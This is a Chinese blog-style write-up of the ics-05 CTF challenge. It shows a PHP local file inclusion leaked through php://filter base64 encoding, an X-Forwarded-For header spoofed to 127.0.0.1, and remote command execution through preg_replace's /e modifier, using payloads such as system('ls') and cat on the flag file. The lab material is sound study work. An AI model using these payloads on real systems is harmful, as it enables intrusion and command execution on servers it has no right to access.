当前位置:网站首页>攻防世界——ics-05
攻防世界——ics-05
2022-08-08 07:53:00 【隐身的菜鸟】
打开题目场景,进入设备维护中心,将所有可点击的地方都点了一遍,发现只有设备维护中心可以打开


在源代码中发现page=index


写入参数,参数会在页面中显示
有参数的话,可以尝试以下XSS(没有任何反应,失败)

LFI(Local File Inclusion) 本地文件包含漏洞,指的是能打开并包含本地文件的漏洞
LFI漏洞的黑盒判断方法:如果只从URL判断,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键词,就可能存在文件包含漏洞。
将参数换成index.php之后,返回了OK,所有这里是个文件包含

是文件包含,我们尝试使用伪协议php://
使用php://input可以进行php代码的提交,但是不可行

所以我们换一种方式,使用php://filter,它可以设计用来筛选文件,我们可以使用它来包含index.php的文件,从而获取源码
?page=php://filter/resource=index.php
直接包含发现会直接运行php文件,无法获得源码,include函数会将php文件进行执行,若我们将传进去的文件先进行编码(base64)再传给它,就会输出它的内容了,然后再解码就可得到源码
?page=php://filter/read=convert.base64-encode/resource=index.php
接下来解码得到一段html,从中得到一段php代码
<?php
$page = $_GET[page];//拿到参数
if (isset($page)) {//如果存在
if (ctype_alnum($page)) { //如果都为字母或者数字
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead"><?php echo $page; die();?></p> //输出参数
<br /><br /><br /><br />
<?php
}else{
?>
<br /><br /><br /><br />
<div style="text-align:center">
<p class="lead">
<?php
if (strpos($page, 'input') > 0) {//input相当于禁用了
die();
}
if (strpos($page, 'ta:text') > 0) {
die();
}
if (strpos($page, 'text') > 0) {
die();
}
if ($page === 'index.php') {
die('Ok');//为什么返回Ok了
}
include($page);//包含参数
die();
?>
</p>
<br /><br /><br /><br />
<?php
}}
//方便的åžçŽ°è¾“å
¥è¾“出的功能,æ£åœ¨å¼€å‘ä¸çš„功能,åªèƒ½å†
部人员测试
//以上的代码都不重要,真正利用的在这块
if ($_SERVER['HTTP_X_FORWARDED_FOR'] === '127.0.0.1') {
//如果请求包中HTTP_X_FORWARDED_FOR为127.0.0.1
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $_GET[rep];
$subject = $_GET[sub];
if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);//将subject中匹配pattern的部分用replacement替换
}else{
die();
}
}
?>
ctype_alnum($text)函数会匹配传入参数中是否全为数字或者字母,如果是返回true,否则返回false。
strpos(string,find,start) 函数查找find在另一字符串string中第一次出现的位置(大小写敏感)。
preg_replace($pattern, $replacement, $subject)函数会将subject中匹配pattern的部分用replacement替换,如果启用/e参数的话,就会将replacement当做php代码执行。
不要page参数了,添加X-Forwarded-For:127.0.0.1,页面出现welcome my admin!

接下来利用的是preg_replace函数/e漏洞:查看所有文件
payload:/index.php?pat=/abc/e&rep=system("ls")&sub=asdsadasabc
preg_replace()函数的/e漏洞
正确的php system()函数的书写
preg_replace($pattern, $replacement, $subject)
作用:搜索subject中匹配pattern的部分, 以replacement的内容进行替换。
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
简单来说就是替换字符串
发现可以进行命令执行,并且发现可疑目录,进入目录并查看文件
payload:/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir%26%26%20ls")&sub=asdsadasabc
%26为&,这里进行了url编码,不进行编码会失败
/index.php?pat=/abc/e&rep=system("cd%20s3chahahaDir/flag%26%26%20ls")&sub=asdsadasabc

发现flag.php文件,使用cat进行查看:
payload:/index.php?pat=/abc/e&rep=system("cat%20s3chahahaDir/flag/flag.php")&sub=asdsadasabc

边栏推荐
猜你喜欢
随机推荐
lua --- 基本语法学习
HTTS 为什么更安全?
js中call、bind、apply的区别?
如何解决大团队需求交付周期长的问题?
分清成员函数非成员函数和友元函数
论文解读:《Mouse4mC-BGRU:用于预测小鼠基因组中DNA N4-甲基胞嘧啶位点的深度学习》
包含漏洞-读写文件以及执行命令
论文翻译:《6mAPred-MSFF:基于多尺度特征融合机制预测跨物种DNA N6-甲基腺嘌呤位点的深度学习模型》
蓝牙5.2新特性 - LEPC简介
volatile在C语言中的基本使用方法
Detection of transcription factors binding to methylatedDNA by deep recurrent neural network
At the time of data intelligence, Jiuzhang Yunji DataCanvas won the "Most Investment Value Company"
业内首个「因果推断全流程」挑战赛!WAIC 2022 · 黑客马拉松邀全球开发者精英来挑战
文件包含漏洞-知识点
JLink Commander调试方法
spark2 sql struct处理
用平衡二叉搜索树解决硬木种类问题
论文翻译:《Phosvardeep:使用序列信息对磷酸变化的深度学习预测》
C语言——按照指定分割符分割字符串
WinForm(四)一种实现登录的方式









